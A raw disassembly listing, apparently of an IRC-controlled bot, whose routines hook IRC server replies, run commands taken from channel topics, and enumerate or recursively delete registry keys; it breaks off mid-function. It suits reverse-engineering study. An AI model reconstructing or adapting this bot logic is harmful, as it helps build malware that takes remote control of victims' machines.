var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	edi
		mov	edi, [ebp+arg_8]
		mov	ecx, edi
		call	sub_41111B
		push	eax
		push	[ebp+arg_0]
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_419F65
		push	2
		lea	eax, [ebp+var_8]
		push	[ebp+arg_0]
		push	eax
		call	sub_41EF08
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	short loc_419F65
		cmp	[ebp+var_4], 0
		jz	short loc_419F65
		push	esi
		mov	esi, offset dword_439638
		push	esi
		push	[ebp+var_8]
		call	sub_422760
		pop	ecx
		pop	ecx
		test	eax, eax
		mov	ecx, edi
		jnz	short loc_419F46
		push	offset dword_43963C
		push	esi
		call	sub_410720
		jmp	short loc_419F4E
; ---------------------------------------------------------------------------


loc_419F46:				; CODE XREF: sub_419EE6+51j
		push	[ebp+var_8]
		call	sub_4106F9


loc_419F4E:				; CODE XREF: sub_419EE6+5Ej
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax]
		push	offset a__0	; "."
		push	[ebp+var_8]
		push	edi
		call	sub_4104F6
		add	esp, 10h
		pop	esi


loc_419F65:				; CODE XREF: sub_419EE6+1Dj
					; sub_419EE6+34j ...
		xor	eax, eax
		pop	edi
		leave
		retn
sub_419EE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419F6A	proc near		; DATA XREF: sub_41A1C8+3Ao

var_132C	= byte ptr -132Ch
var_32C		= byte ptr -32Ch
var_12C		= dword	ptr -12Ch
var_2C		= byte ptr -2Ch
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	eax, 132Ch
		call	sub_4220C0
		push	esi
		push	edi
		push	1000h
		lea	eax, [ebp+var_132C]
		push	[ebp+arg_0]
		push	eax
		call	sub_4222F0
		lea	eax, [ebp+var_132C]
		push	3
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41EF08
		add	esp, 18h
		cmp	[ebp+var_C], 0
		jz	loc_41A0E0
		cmp	[ebp+var_8], 0
		jz	loc_41A0E0
		mov	ecx, [ebp+arg_8]
		call	sub_41111B
		push	eax
		push	[ebp+var_C]
		call	sub_422760
		pop	ecx
		pop	ecx
		test	eax, eax
		push	10h
		lea	eax, [ebp+var_2C]
		jnz	short loc_419FD7
		push	[ebp+var_8]
		jmp	short loc_419FDA
; ---------------------------------------------------------------------------


loc_419FD7:				; CODE XREF: sub_419F6A+66j
		push	[ebp+var_C]


loc_419FDA:				; CODE XREF: sub_419F6A+6Bj
		push	eax
		call	sub_4222F0
		add	esp, 0Ch
		push	3Ah
		push	[ebp+arg_0]
		call	sub_4233B0
		mov	esi, eax
		pop	ecx
		inc	esi
		pop	ecx
		cmp	byte ptr [esi],	2Bh
		jnz	short loc_41A03C
		push	offset dword_442740
		push	esi
		call	sub_4235C0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A03C
		push	esi
		call	sub_422120
		cmp	eax, 6
		pop	ecx
		jbe	short loc_41A03C
		push	esi
		call	sub_422120
		dec	eax
		push	eax
		push	1
		push	esi
		call	sub_41F133
		mov	edi, eax
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A03C
		push	edi
		push	offset dword_4395E8
		call	sub_41D94C
		pop	ecx
		mov	esi, edi
		pop	ecx


loc_41A03C:				; CODE XREF: sub_419F6A+8Bj
					; sub_419F6A+9Cj ...
		mov	edi, offset asc_4388F4 ; "|"
		push	edi
		push	esi
		call	sub_422248
		pop	ecx
		xor	esi, esi
		pop	ecx
		mov	[ebp+var_12C], eax
		inc	esi


loc_41A053:				; CODE XREF: sub_419F6A+102j
		push	edi
		push	0
		call	sub_422248
		pop	ecx
		mov	[ebp+esi*4+var_12C], eax
		test	eax, eax
		pop	ecx
		jz	short loc_41A06E
		inc	esi
		cmp	esi, 40h
		jl	short loc_41A053


loc_41A06E:				; CODE XREF: sub_419F6A+FCj
		lea	eax, [ebp+var_2C]
		xor	edi, edi
		mov	[ebp+var_10], eax
		mov	eax, offset aTopic_0 ; "topic"
		test	esi, esi
		mov	[ebp+var_1C], eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_14], eax
		jle	short loc_41A0E0


loc_41A088:				; CODE XREF: sub_419F6A+174j
		mov	eax, [ebp+edi*4+var_12C]
		test	eax, eax
		jz	short loc_41A0DB
		push	eax
		lea	eax, [ebp+var_32C]
		push	offset aS_1	; "%s"
		push	eax
		call	sub_422063
		mov	al, [ebp+var_32C]
		add	esp, 0Ch
		cmp	al, byte_439016
		jnz	short loc_41A0DB
		push	1388h
		call	dword_42F15C	; Sleep
		push	1
		push	1
		push	[ebp+arg_8]
		lea	eax, [ebp+var_1C]
		push	eax
		lea	eax, [ebp+var_32C]
		push	eax
		call	sub_403A63
		add	esp, 14h


loc_41A0DB:				; CODE XREF: sub_419F6A+127j
					; sub_419F6A+14Aj
		inc	edi
		cmp	edi, esi
		jl	short loc_41A088


loc_41A0E0:				; CODE XREF: sub_419F6A+3Cj
					; sub_419F6A+46j ...
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_419F6A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A0E6	proc near		; DATA XREF: sub_41A1C8+89o

var_240		= dword	ptr -240h
var_184		= dword	ptr -184h
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 240h
		push	esi
		lea	eax, [ebp+arg_8]
		push	edi
		mov	edi, [ebp+arg_8]
		xor	esi, esi
		push	eax
		lea	eax, [ebp+var_240]
		push	esi
		push	eax
		push	offset loc_40FB2D
		push	esi
		push	esi
		mov	[ebp+var_240], edi
		mov	[ebp+var_184], esi
		call	dword_42F158	; CreateThread
		jmp	short loc_41A125
; ---------------------------------------------------------------------------


loc_41A11D:				; CODE XREF: sub_41A0E6+45j
		push	32h
		call	dword_42F15C	; Sleep


loc_41A125:				; CODE XREF: sub_41A0E6+35j
		cmp	[ebp+var_184], esi
		jz	short loc_41A11D
		mov	ecx, edi
		call	sub_41111B
		push	eax
		mov	ecx, edi
		call	sub_4105B8
		push	offset byte_455608
		mov	ecx, edi
		call	sub_4107E8
		push	offset dword_43963C
		push	offset dword_439638
		mov	ecx, edi
		call	sub_410720
		pop	edi
		xor	eax, eax
		pop	esi
		leave
		retn
sub_41A0E6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A15F	proc near		; DATA XREF: sub_41A1C8+78o

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	esi
		push	2
		push	[ebp+arg_0]
		lea	eax, [ebp+var_8]
		push	eax
		call	sub_41EF08
		add	esp, 0Ch
		cmp	[ebp+var_8], 0
		jz	short loc_41A1A6
		cmp	[ebp+var_4], 0
		jz	short loc_41A1A6
		mov	esi, offset byte_455609
		push	offset byte_44D6A4
		push	esi
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A1A6
		mov	ecx, [ebp+arg_8]
		push	0
		push	esi
		push	[ebp+var_4]
		call	sub_410795


loc_41A1A6:				; CODE XREF: sub_41A15F+1Bj
					; sub_41A15F+21j ...
		xor	eax, eax
		pop	esi
		leave
		retn
sub_41A15F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1AB	proc near		; DATA XREF: sub_41A1C8+B5o

arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_8]
		push	5
		push	7
		call	sub_410806
		mov	ecx, [esp+arg_8]
		push	eax
		call	sub_4110F4
		xor	eax, eax
		retn
sub_41A1AB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1C5	proc near		; CODE XREF: sub_42A443+52p
					; DATA XREF: sub_41A1C8+7o
		xor	eax, eax
		retn
sub_41A1C5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A1C8	proc near		; CODE XREF: sub_412267+498p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		push	offset sub_41A1C5
		push	offset aIQ	; "(I]q"
		mov	ecx, esi
		call	sub_40FC86
		push	offset sub_419B2F
		push	offset dword_43C078
		mov	ecx, esi
		call	sub_40FC86
		push	offset sub_419EE6
		push	offset dword_43C090
		mov	ecx, esi
		call	sub_40FC86
		mov	ebx, offset sub_419F6A
		mov	ecx, esi
		push	ebx
		push	offset dword_43C098
		call	sub_40FC86
		mov	edi, offset sub_4140F8
		mov	ecx, esi
		push	edi
		push	offset dword_43C0B0
		call	sub_40FC86
		push	edi
		push	offset a302	; "302"
		mov	ecx, esi
		call	sub_40FC86
		push	ebx
		push	offset a332	; "332"
		mov	ecx, esi
		call	sub_40FC86
		push	offset sub_41A15F
		push	offset a366	; "366"
		mov	ecx, esi
		call	sub_40FC86
		mov	edi, offset sub_41A0E6
		mov	ecx, esi
		push	edi
		push	offset a005	; "005"
		call	sub_40FC86
		push	edi
		push	offset a376	; "376"
		mov	ecx, esi
		call	sub_40FC86
		push	edi
		push	offset a422	; "422"
		mov	ecx, esi
		call	sub_40FC86
		push	offset sub_41A1AB
		push	offset a433	; "433"
		mov	ecx, esi
		call	sub_40FC86
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A1C8	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A292	proc near		; CODE XREF: sub_403B2C+FCDp
					; sub_403B2C+1086p ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	esi
		push	offset aHkey_local_mac ; "HKEY_LOCAL_MACHINE"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A369
		push	esi
		push	offset aHklm	; "HKLM"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A369
		push	esi
		push	offset aHkey_current_u ; "HKEY_CURRENT_USER"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41A362
		push	esi
		push	offset aHkcu	; "HKCU"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A362
		push	esi
		push	offset aHkey_classes_r ; "HKEY_CLASSES_ROOT"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A35B
		push	esi
		push	offset aHkcr	; "HKCR"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A35B
		push	esi
		push	offset aHkey_current_c ; "HKEY_CURRENT_CONFIG"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A354
		push	esi
		push	offset aHkcc	; "HKCC"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A354
		push	esi
		push	offset aHkey_users ; "HKEY_USERS"
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41A34D
		push	esi
		push	offset off_442764
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A369


loc_41A34D:				; CODE XREF: sub_41A292+A8j
		mov	eax, 80000003h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A354:				; CODE XREF: sub_41A292+86j
					; sub_41A292+97j
		mov	eax, 80000005h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A35B:				; CODE XREF: sub_41A292+64j
					; sub_41A292+75j
		mov	eax, 80000000h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A362:				; CODE XREF: sub_41A292+3Ej
					; sub_41A292+53j
		mov	eax, 80000001h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41A369:				; CODE XREF: sub_41A292+14j
					; sub_41A292+29j ...
		mov	eax, 80000002h
		pop	esi
		retn
sub_41A292	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A370	proc near		; CODE XREF: sub_403B2C:loc_408598p
					; sub_403B2C+4D2Fp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, dword_42F070
		push	edi
		mov	edi, [esp+8+arg_0]
		push	offset aReg_sz	; "REG_SZ"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E9
		push	offset aSz	; "SZ"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E9
		push	offset aReg_expand_sz ;	"REG_EXPAND_SZ"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E5
		push	offset aEx	; "EX"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E5
		push	offset aReg_multi_sz ; "REG_MULTI_SZ"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E1
		push	offset aMu	; "MU"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3E1
		push	offset aReg_dword ; "REG_DWORD"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jz	short loc_41A3DC
		push	offset aDw	; "DW"
		push	edi
		call	esi ; dword_42F070
		test	eax, eax
		jnz	short loc_41A3E9


loc_41A3DC:				; CODE XREF: sub_41A370+5Ej
		push	4


loc_41A3DE:				; CODE XREF: sub_41A370+73j
					; sub_41A370+77j
		pop	eax
		jmp	short loc_41A3EC
; ---------------------------------------------------------------------------


loc_41A3E1:				; CODE XREF: sub_41A370+46j
					; sub_41A370+52j
		push	7
		jmp	short loc_41A3DE
; ---------------------------------------------------------------------------


loc_41A3E5:				; CODE XREF: sub_41A370+2Ej
					; sub_41A370+3Aj
		push	2
		jmp	short loc_41A3DE
; ---------------------------------------------------------------------------


loc_41A3E9:				; CODE XREF: sub_41A370+16j
					; sub_41A370+22j ...
		xor	eax, eax
		inc	eax


loc_41A3EC:				; CODE XREF: sub_41A370+6Fj
		pop	edi
		pop	esi
		retn
sub_41A370	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A3EF	proc near		; CODE XREF: sub_41A60E+159p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, 4
		ja	short loc_41A426
		jz	short loc_41A420
		sub	eax, 0
		jz	short loc_41A41A
		dec	eax
		jz	short loc_41A414
		dec	eax
		jz	short loc_41A40E
		dec	eax
		jnz	short loc_41A436
		mov	eax, offset aReg_binary	; "REG_BINARY"
		retn
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A3EF+14j
		mov	eax, offset aReg_expand_sz ; "REG_EXPAND_SZ"
		retn
; ---------------------------------------------------------------------------


loc_41A414:				; CODE XREF: sub_41A3EF+11j
		mov	eax, offset aReg_sz ; "REG_SZ"
		retn
; ---------------------------------------------------------------------------


loc_41A41A:				; CODE XREF: sub_41A3EF+Ej
		mov	eax, offset aReg_none ;	"REG_NONE"
		retn
; ---------------------------------------------------------------------------


loc_41A420:				; CODE XREF: sub_41A3EF+9j
		mov	eax, offset aReg_dword ; "REG_DWORD"
		retn
; ---------------------------------------------------------------------------


loc_41A426:				; CODE XREF: sub_41A3EF+7j
		sub	eax, 5
		jz	short loc_41A44E
		dec	eax
		jz	short loc_41A448
		dec	eax
		jz	short loc_41A442
		sub	eax, 4
		jz	short loc_41A43C


loc_41A436:				; CODE XREF: sub_41A3EF+17j
		mov	eax, offset aUnknown_0 ; "UNKNOWN"
		retn
; ---------------------------------------------------------------------------


loc_41A43C:				; CODE XREF: sub_41A3EF+45j
		mov	eax, offset aReg_qword ; "REG_QWORD"
		retn
; ---------------------------------------------------------------------------


loc_41A442:				; CODE XREF: sub_41A3EF+40j
		mov	eax, offset aReg_multi_sz ; "REG_MULTI_SZ"
		retn
; ---------------------------------------------------------------------------


loc_41A448:				; CODE XREF: sub_41A3EF+3Dj
		mov	eax, offset aReg_link ;	"REG_LINK"
		retn
; ---------------------------------------------------------------------------


loc_41A44E:				; CODE XREF: sub_41A3EF+3Aj
		mov	eax, offset aReg_dword_big_ ; "REG_DWORD_BIG_ENDIAN"
		retn
sub_41A3EF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A454	proc near		; CODE XREF: sub_403B2C+4953p
					; sub_412267+ADp ...

var_10C		= byte ptr -10Ch
var_10B		= byte ptr -10Bh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_4], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jz	loc_41A573
		cmp	[ebp+arg_8], ebx
		jnz	loc_41A535
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_45428C	; RegDeleteKeyA
		test	eax, eax
		jz	loc_41A568
		push	3Fh
		xor	eax, eax
		pop	ecx
		lea	edi, [ebp+var_10B]
		mov	[ebp+var_10C], bl
		xor	esi, esi
		rep stosd
		stosw
		stosb
		lea	eax, [ebp+var_4]
		mov	[ebp+arg_8], 100h
		push	eax
		push	2001Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_41A573
		lea	eax, [ebp+var_C]
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+arg_8]
		push	ebx
		push	eax
		lea	eax, [ebp+var_10C]
		push	eax
		push	ebx
		push	[ebp+var_4]
		call	dword_454264	; RegEnumKeyExA
		mov	edi, 103h
		jmp	short loc_41A523
; ---------------------------------------------------------------------------


loc_41A4EB:				; CODE XREF: sub_41A454+D1j
		cmp	eax, ebx
		jnz	short loc_41A527
		lea	eax, [ebp+var_10C]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_41A454
		add	esp, 0Ch
		lea	ecx, [ebp+var_C]
		mov	eax, esi
		inc	esi
		push	ecx
		push	ebx
		push	ebx
		lea	ecx, [ebp+arg_8]
		push	ebx
		push	ecx
		lea	ecx, [ebp+var_10C]
		push	ecx
		push	eax
		push	[ebp+var_4]
		call	dword_454264	; RegEnumKeyExA


loc_41A523:				; CODE XREF: sub_41A454+95j
		cmp	eax, edi
		jnz	short loc_41A4EB


loc_41A527:				; CODE XREF: sub_41A454+99j
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	dword_45428C	; RegDeleteKeyA
		jmp	short loc_41A573
; ---------------------------------------------------------------------------


loc_41A535:				; CODE XREF: sub_41A454+1Dj
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A573
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_454260	; RegDeleteValueA
		push	[ebp+var_4]
		test	eax, eax
		jnz	short loc_41A56D
		call	dword_4542E8	; RegCloseKey


loc_41A568:				; CODE XREF: sub_41A454+31j
		xor	eax, eax
		inc	eax
		jmp	short loc_41A575
; ---------------------------------------------------------------------------


loc_41A56D:				; CODE XREF: sub_41A454+10Cj
		call	dword_4542E8	; RegCloseKey


loc_41A573:				; CODE XREF: sub_41A454+14j
					; sub_41A454+6Ej ...
		xor	eax, eax


loc_41A575:				; CODE XREF: sub_41A454+117j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A454	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A57A	proc near		; CODE XREF: sub_41FB50+F3p
					; sub_41FB50+108p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		cmp	edi, esi
		mov	[ebp+var_4], esi
		jz	short loc_41A608
		cmp	[ebp+arg_8], esi
		jz	short loc_41A608
		lea	eax, [ebp+var_4]
		push	eax
		push	2001Fh
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A604
		mov	eax, [ebp+arg_C]
		cmp	eax, 4
		jnz	short loc_41A5D3
		lea	eax, [ebp+arg_4]
		mov	[ebp+arg_4], esi
		push	eax
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A60E
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+arg_4], esi
		setnz	al
		mov	esi, eax
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5D3:				; CODE XREF: sub_41A57A+35j
		cmp	eax, 1
		jz	short loc_41A5E2
		cmp	eax, 2
		jz	short loc_41A5E2
		cmp	eax, 7
		jnz	short loc_41A5FB


loc_41A5E2:				; CODE XREF: sub_41A57A+5Cj
					; sub_41A57A+61j
		push	1
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_0]
		call	sub_41A829
		mov	esi, eax
		add	esp, 10h
		neg	esi
		sbb	esi, esi
		neg	esi


loc_41A5FB:				; CODE XREF: sub_41A57A+57j
					; sub_41A57A+66j
		push	[ebp+var_4]
		call	dword_4542E8	; RegCloseKey


loc_41A604:				; CODE XREF: sub_41A57A+2Dj
		mov	eax, esi
		jmp	short loc_41A60A
; ---------------------------------------------------------------------------


loc_41A608:				; CODE XREF: sub_41A57A+10j
					; sub_41A57A+15j
		xor	eax, eax


loc_41A60A:				; CODE XREF: sub_41A57A+8Cj
		pop	edi
		pop	esi
		leave
		retn
sub_41A57A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A60E	proc near		; CODE XREF: sub_403B2C+4A2Dp
					; sub_41A57A+45p

var_224		= byte ptr -224h
var_124		= byte ptr -124h
var_A4		= byte ptr -0A4h
var_3C		= byte ptr -3Ch
var_38		= byte ptr -38h
var_34		= byte ptr -34h
var_30		= byte ptr -30h
var_28		= byte ptr -28h
var_24		= byte ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 224h
		push	ebx
		lea	eax, [ebp+var_8]
		push	edi
		xor	ebx, ebx
		push	eax
		push	0F003Fh
		push	ebx
		mov	edi, 0FFh
		push	[ebp+arg_4]
		mov	[ebp+var_8], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_1C], edi
		push	[ebp+arg_0]
		mov	[ebp+var_14], 67h
		mov	[ebp+var_20], 80h
		mov	[ebp+var_4], ebx
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	loc_41A7AD
		lea	eax, [ebp+var_30]
		push	esi
		push	eax
		lea	eax, [ebp+var_24]
		push	eax
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_3C]
		push	eax
		lea	eax, [ebp+var_28]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_20]
		push	ebx
		push	eax
		lea	eax, [ebp+var_124]
		push	eax
		push	[ebp+var_8]
		call	dword_4542B4	; RegQueryInfoKeyA
		cmp	[ebp+var_C], ebx
		mov	[ebp+arg_0], ebx
		jz	short loc_41A6ED
		xor	esi, esi
		cmp	[ebp+var_C], ebx
		jbe	short loc_41A6ED


loc_41A69D:				; CODE XREF: sub_41A60E+DDj
		lea	eax, [ebp+var_30]
		mov	[ebp+var_1C], edi
		push	eax
		push	ebx
		push	ebx
		lea	eax, [ebp+var_1C]
		push	ebx
		push	eax
		lea	eax, [ebp+var_224]
		push	eax
		push	esi
		push	[ebp+var_8]
		call	dword_454264	; RegEnumKeyExA
		test	eax, eax
		jnz	short loc_41A6E4
		lea	eax, [ebp+var_224]
		push	eax
		lea	eax, [esi+1]
		push	[ebp+arg_4]
		push	eax
		push	offset a_2dSS	; "(%.2d) %s\\%s"
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_4104F6
		add	esp, 18h
		inc	[ebp+var_4]


loc_41A6E4:				; CODE XREF: sub_41A60E+B0j
		inc	esi
		inc	[ebp+arg_0]
		cmp	esi, [ebp+var_C]
		jb	short loc_41A69D


loc_41A6ED:				; CODE XREF: sub_41A60E+86j
					; sub_41A60E+8Dj
		cmp	[ebp+var_10], ebx
		jz	loc_41A799
		xor	edi, edi
		cmp	[ebp+var_10], ebx
		jbe	loc_41A799
		mov	eax, [ebp+arg_0]
		lea	esi, [eax+1]


loc_41A707:				; CODE XREF: sub_41A60E+185j
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_14]
		push	ebx
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	edi
		push	[ebp+var_8]
		mov	[ebp+var_14], 0FFh
		mov	[ebp+var_A4], bl
		call	dword_45420C	; RegEnumValueA
		test	eax, eax
		jnz	short loc_41A78E
		lea	eax, [ebp+var_A4]
		push	offset byte_44D6A4
		push	eax
		call	sub_422760
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_41A764
		cmp	[ebp+var_18], 1
		jnz	short loc_41A764
		lea	eax, [ebp+var_A4]
		push	offset aDefault	; "(Default)"
		push	eax
		call	sub_422063
		pop	ecx
		pop	ecx


loc_41A764:				; CODE XREF: sub_41A60E+13Bj
					; sub_41A60E+141j
		push	[ebp+var_18]
		call	sub_41A3EF
		push	eax
		lea	eax, [ebp+var_A4]
		push	eax
		push	[ebp+arg_4]
		push	esi
		push	offset a_2dSSS	; "(%.2d) %s\\%s (%s)"
		push	[ebp+arg_8]
		push	[ebp+arg_C]
		call	sub_4104F6
		add	esp, 20h
		inc	[ebp+var_4]


loc_41A78E:				; CODE XREF: sub_41A60E+124j
		inc	edi
		inc	esi
		cmp	edi, [ebp+var_10]
		jb	loc_41A707


loc_41A799:				; CODE XREF: sub_41A60E+E2j
					; sub_41A60E+EDj
		push	[ebp+var_8]
		call	dword_4542E8	; RegCloseKey
		xor	eax, eax
		cmp	[ebp+var_4], ebx
		pop	esi
		setnle	al
		jmp	short loc_41A7AF
; ---------------------------------------------------------------------------


loc_41A7AD:				; CODE XREF: sub_41A60E+44j
		xor	eax, eax


loc_41A7AF:				; CODE XREF: sub_41A60E+19Dj
		pop	edi
		pop	ebx
		leave
		retn
sub_41A60E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7B3	proc near		; CODE XREF: sub_403B2C+4B30p

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	4
		pop	eax
		xor	esi, esi
		mov	[ebp+var_10], eax
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_4]
		mov	[ebp+var_4], esi
		push	eax
		push	0F003Fh
		push	esi
		mov	[ebp+var_8], esi
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A81F
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		push	[ebp+arg_8]
		push	[ebp+var_4]
		call	dword_4541F8	; RegQueryValueExA
		push	[ebp+var_4]
		test	eax, eax
		jnz	short loc_41A819
		call	dword_4542E8	; RegCloseKey
		mov	eax, [ebp+arg_C]
		mov	dword ptr [eax], 1
		mov	eax, [ebp+var_8]
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A819:				; CODE XREF: sub_41A7B3+50j
		call	dword_4542E8	; RegCloseKey


loc_41A81F:				; CODE XREF: sub_41A7B3+30j
		mov	eax, [ebp+arg_C]
		mov	[eax], esi
		xor	eax, eax


loc_41A826:				; CODE XREF: sub_41A7B3+64j
		pop	esi
		leave
		retn
sub_41A7B3	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A829	proc near		; CODE XREF: sub_403B2C+4B90p
					; sub_412267+59p ...

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		mov	eax, 0FFFFh
		push	esi
		xor	ebx, ebx
		push	eax
		mov	esi, offset dword_45C3E0
		push	ebx
		push	esi
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax
		call	sub_4221F0
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_454384	; RegOpenKeyExA
		test	eax, eax
		jnz	short loc_41A8CB
		lea	eax, [ebp+var_8]
		push	eax
		push	esi
		push	ebx
		push	ebx
